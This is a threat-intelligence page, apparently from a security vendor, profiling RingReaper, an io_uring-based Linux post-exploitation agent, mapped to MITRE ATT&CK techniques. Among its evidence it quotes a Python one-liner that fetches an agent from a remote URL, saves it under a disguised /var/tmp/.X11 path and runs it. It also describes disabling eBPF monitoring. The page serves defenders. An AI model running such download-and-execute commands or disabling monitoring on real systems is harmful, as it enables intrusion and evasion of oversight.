Malware

RingReaper

RingReaper is a Linux-focused post-exploitation command-and-control agent developed by MatheuZSecurity. It uses the Linux io_uring asynchronous I/O interface to conduct operations with reduced conventional syscall telemetry, potentially weakening visibility for security products that rely heavily on syscall hooks, audit events, or eBPF-based monitoring. It is not inherently invisible; its activity can still be detected through io_uring-aware telemetry and behavioral correlation.

The agent supports interactive command execution, enumeration of users, sessions, processes, network connections, and privilege-escalation opportunities such as SUID binaries. It can transfer files to and from compromised hosts and establish a connection back to an operator-controlled server. RingReaper also includes a capability intended to disrupt eBPF-based defensive tooling by removing pinned eBPF objects and terminating processes interacting with eBPF maps, potentially impairing visibility provided by products using eBPF instrumentation. RingReaper has been characterized as an experimental post-exploitation and defense-evasion tool; no threat-actor attribution is established.

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

13 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

2 techniques

T1059.006PythonEvidence1

ubuntu > python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"

T1204User ExecutionEvidence1

Replace the URL in the following command with the link generated during the upload process and execute it.

Stealth

3 techniques

T1014RootkitEvidence2

“Rootkits are stealthy malware designed to conceal malicious activity, such as files, processes, network connections, kernel modules, or accounts.”

T1036MasqueradingEvidence1

d='/var/tmp/.X11'

T1070Indicator RemovalEvidence1

The killbpf command attempts to disrupt this. It removes content from /sys/fs/bpf , which is the virtual filesystem commonly used to store pinned eBPF programs and maps.

Discovery

3 techniques

T1033System Owner/User DiscoveryEvidence2

For example, running the users command shows active sessions.

T1057Process DiscoveryEvidence1

Or listing process information via ps by reading the comm contents for each active PID.

T1083File and Directory DiscoveryEvidence2

A common example would be reading .bash_history to see previously executed commands by local users.

Lateral Movement

1 technique

T1021Remote ServicesEvidence1

This is the address the agent will connect back to once it is executed on the target system.

Command and Control

1 technique

T1105Ingress Tool TransferEvidence1

The command downloads the executable, stores it locally, adjusts permissions, and launches it.

Exfiltration

1 technique

T1041Exfiltration Over C2 ChannelEvidence1

While io_uring cannot directly execute binaries... it enables malicious actions such as file creation, enumeration, and data exfiltration, while minimizing observability.

Other

2 techniques

T1562Impair DefensesEvidence1

In addition, the command attempts to identify and terminate processes actively interacting with eBPF maps. Disrupting them can interfere with security monitoring.

T1562.001Disable or Modify ToolsEvidence1

“A malicious process uses io_uring to perform lots of reads/writes/metadata ops in large batches so traditional per-syscall detectors see fewer events or atypical patterns.”

ACTIVITY FEED

Recent activity

7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

7 SOURCESView more in app

hackers ariseNews

Aug 5, 2026

Hacking: Linux EDR Evasion with io_uring - Hackers Arise

A Linux post-exploitation agent/backdoor that abuses io_uring to reduce traditional syscall-based EDR visibility. The content describes capabilities including reconnaissance, file transfer, C2 communications, command execution, session management, privilege-escalation discovery, and disruption of eBPF-based monitoring via its killbpf function.

elastic security labsNews

Apr 2, 2026

Hooked on Linux: Rootkit Detection Engineering - Elastic Security Labs

A Linux rootkit or rootkit-like tool that abuses io_uring for stealthy post-compromise file, process, and user enumeration operations while reducing observable syscall activity.

elastic security labsNews

Apr 2, 2026

Hooked on Linux: Rootkit Detection Engineering

Rootkit tool that uses io_uring for stealthier post-compromise file, process-enumeration, and I/O operations while reducing conventional syscall telemetry visibility.

cyber security newsNews

Mar 6, 2026

Linux Rootkits Using Advanced eBPF and io_uring Techniques

Recently documented (2025) Linux rootkit cited as part of the modern generation of rootkits leveraging newer kernel features (e.g., eBPF/io_uring-era techniques) for stealth and evasion.

+3 more in the timeline

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping13

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

RingReaper